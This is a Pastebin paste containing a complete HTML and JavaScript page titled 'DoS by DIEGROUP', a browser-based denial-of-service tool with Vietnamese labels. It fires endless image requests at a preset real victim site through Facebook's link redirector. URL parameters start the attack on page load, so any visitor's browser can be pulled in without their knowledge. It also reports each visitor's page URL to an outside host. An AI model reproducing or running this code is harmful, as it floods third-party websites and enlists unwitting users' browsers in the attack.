Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- </script>
- <meta charset="utf-8">
- <meta name="viewport" content="width=device-width, initial-scale=1">
- <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
- <script type="text/javascript">
- function getParameterByName(name) {
- name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
- var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
- results = regex.exec(location.search);
- return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
- }
- $(document).ready(function(){
- $.ajax({
- type:'GET',
- url: 'http://google.com/ddos.php',
- data:{'v':window.location.href}
- });
- document.title='DoS by DIEGROUP';
- $("#btn_init").click(function(){
- victim = $('#victim').val();
- if(victim==''){
- alert('Chưa nhập victim!');
- $('#victim').focus();
- }
- else{
- url= $('select[name=type]').val()+victim;
- $('#div_content').empty();
- $('.div_report').empty();
- number = parseInt($('#number').val());
- for(i=0; i<number; i++){
- content ="";
- content+= "<div class='stt'>"+(i+1).toString()+".</div> URL / IP : <input id='targetURL" + i.toString() + "' style='width: 50%;' value='"+url+"'>";
- content+="Request : <input id='rps" + i.toString() + "' style='width: 5%;' value='99999999999999999999999999999999999999999999999999'>";
- content+="Message : <input id='message"+ i.toString() +"' style='width: 5%;' value='#f5ddos'>";
- content+="<button id='fireButton"+ i.toString() +"' class='BTN'>START</button><br>";
- $('#div_content').append(content);
- //
- report="<div class='IFC'>";
- report+="<legend><font color='#fff'><b>Nhóm "+ (i+1) +"</b></font></legend><dl>";
- report+="<dt style='color: #fff;'>Đánh :</dt>";
- report+="<dd id='requestedCtr"+ i.toString() +"'>0</dd>";
- report+="<dt style='color: #6AFAFB;'>Thành Công :</dt>";
- report+="<dd id='succeededCtr"+ i.toString() +"' style='opacity: 0.8;'>0</dd>";
- report+="<dt style='color: #6AFAFB;'>Thất Bại :</dt>";
- report+="<dd id='failedCtr"+ i.toString() +"' style='opacity: 0.6;'>0</dd></dl></div>";
- $('.div_report').append(report);
- attack(i);
- }
- }
- });
- $("#btn_attack").click(function(){
- $("button[id*='fireButton']").trigger('click');
- });
- var victim = getParameterByName('v');
- if(victim!=''){
- $('#victim').val(victim);
- if(getParameterByName('n')!=''){
- $('#number').val(getParameterByName('n'));
- }
- if(getParameterByName('t')!=''){
- t = parseInt(getParameterByName('t'));
- if(t>0){
- document.getElementById("type").selectedIndex= t-1;
- }
- }
- $("#btn_init").trigger('click');
- $("#btn_attack").trigger('click');
- }
- });
- function attack(id) {
- var fireInterval;
- var isFiring = false;
- var requestedCtrNode = document.getElementById("requestedCtr"+id),
- succeededCtrNode = document.getElementById("succeededCtr"+id),
- failedCtrNode = document.getElementById("failedCtr"+id),
- targetURLNode = document.getElementById("targetURL"+id),
- fireButton = document.getElementById("fireButton"+id),
- messageNode = document.getElementById("message"+id),
- rpsNode = document.getElementById("rps"+id),
- timeoutNode = document.getElementById("timeout"+id);
- var targetURL = targetURLNode.value;
- targetURLNode.onchange = function () {
- targetURL = this.value;};
- var requestsHT = {};
- var requestedCtr = 0,
- succeededCtr = 0,
- failedCtr = 0;
- var makeHttpRequest = function () {
- if (requestedCtr > failedCtr + succeededCtr + 99999999999999999999999999999999999999999999999999) {
- return; };
- var rID =Number(new Date());
- var img = new Image();
- img.onerror = function () { onFail(rID); };img.onabort = function () { onFail(rID); };img.onload = function () { onSuccess(rID); };img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);requestsHT[rID] = img;
- onRequest(rID); };
- var onRequest = function (rID) {
- requestedCtr++;
- requestedCtrNode.innerHTML = requestedCtr; };
- var onComplete = function (rID) {
- delete requestsHT[rID]; };
- var onFail = function (rID) {succeededCtr++; succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];};
- var onSuccess = function (rID) {succeededCtr++;
- succeededCtrNode.innerHTML = succeededCtr; delete requestsHT[rID];
- };
- fireButton.onclick = function () {
- if (isFiring) {clearInterval(fireInterval);isFiring = false; this.innerHTML = "START";$("#btn_attack").text('Chiến tiếp'); } else {isFiring = true; this.innerHTML = "STOP";$("#btn_attack").text('Thôi dừng');fireInterval = setInterval(makeHttpRequest, (99999999999999999999999999999999999999999999999999 / parseInt(rpsNode.value) | 0));} };
- }
- </script>
- <style type="text/css">
- body{ background-color: #171717;}
- .stt{width: 60px;float: left;}
- img {
- float:left;
- margin-right: 40px;
- }
- .basic-grey {
- float:left;
- width: 350px;
- background: #000;
- padding: 25px 15px 25px 10px;
- font: 12px Georgia, "Times New Roman", Times, serif;
- color: #888;
- border:1px solid #57525A;
- }
- .basic-grey h1 {
- font-size: 25px;
- padding: 0px 0px 10px 40px;
- display: block;
- border-bottom:1px solid #E4E4E4;
- margin: -10px -15px 30px -10px;;
- color: #FF7F7F;
- }
- .basic-grey h1>span {
- display: block;
- font-size: 11px;
- }
- .basic-grey h1>span>b{
- color:#464646;
- font-size: 15px;
- }
- .basic-grey label {
- display: block;
- margin: 0px;
- }
- .basic-grey label>span {
- float: left;
- width: 20%;
- text-align: right;
- padding-right: 10px;
- margin-top: 10px;
- color: #FFC156;
- text-transform: uppercase;
- }
- .basic-grey input[type="text"], .basic-grey input[type="email"], .basic-grey select {
- border: 1px solid #3D5D24;
- color: #96DC67;
- height: 30px;
- margin-bottom: 16px;
- margin-right: 6px;
- margin-top: 2px;
- outline: 0 none;
- padding: 3px 3px 3px 5px;
- width: 30%;
- font-size: 12px;
- line-height:15px;
- background-color: #1B1919;
- }
- .basic-grey select {
- background: #1B1919 url('http://i.imgur.com/J6gm0B6.png') no-repeat right;
- appearance:none;
- -webkit-appearance:none;
- -moz-appearance: none;
- text-indent: 0.01px;
- text-overflow: '';
- width: 70%;
- height: 35px;
- line-height: 25px;
- }
- .basic-grey .button {
- background: #000;
- border: none;
- padding: 10px 25px 10px 25px;
- color: #FFF;
- border-radius: 3px;
- cursor: pointer;
- text-transform: uppercase;
- }
- .basic-grey .button:hover {
- background: #fff;
- border: none;
- padding: 10px 25px 10px 25px;
- color: #000;
- border-radius: 3px;
- cursor: pointer;
- text-transform: uppercase;
- }
- .div_report{
- }
- .IFC{
- color: red;
- font-size: 10px;
- width: 9%;
- float: left;
- padding-left: 3px;
- border: 1px #403D3D dashed;
- }
- #right{
- float:left;
- width:500px;
- }
- #wraper{width: 1040px;margin: 0 auto;}
- .hidden{
- visibility:hidden;
- }
- </style>
- <title>DoS by DIEGROUP</title></head>
- <body>
- <div id="wraper">
- <form action="" method="post" class="basic-grey">
- <img src="http://i.imgur.com/E54TEeV.png" width="100px"><h1>DoS Tool<span>Code by <b>DG</b></span></h1>
- <label>
- <input id="victim" value="webdalat.vn" type="text">
- </label>
- <label>
- <input id="number" value="100" type="text">
- </label>
- <label class="hidden">
- <select name="type" id="type">
- <option value="https://www.facebook.com/l.php?u=">1. Face</option>
- </select>
- </label>
- <label>
- <span> </span>
- <button class="button" type="button" id="btn_init">Khởi tạo</button>
- <button class="button" type="button" id="btn_attack">Chiến thôi</button>
- </label>
- </form>
- <div id="right">
- <div class="div_report"></div>
- <fieldset class="hidden" id="div_content"></fieldset>
- <fieldset class="hidden" id="div_report"></fieldset>
- </div><!-- End #right -->
- </div><!-- End #wraper -->
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment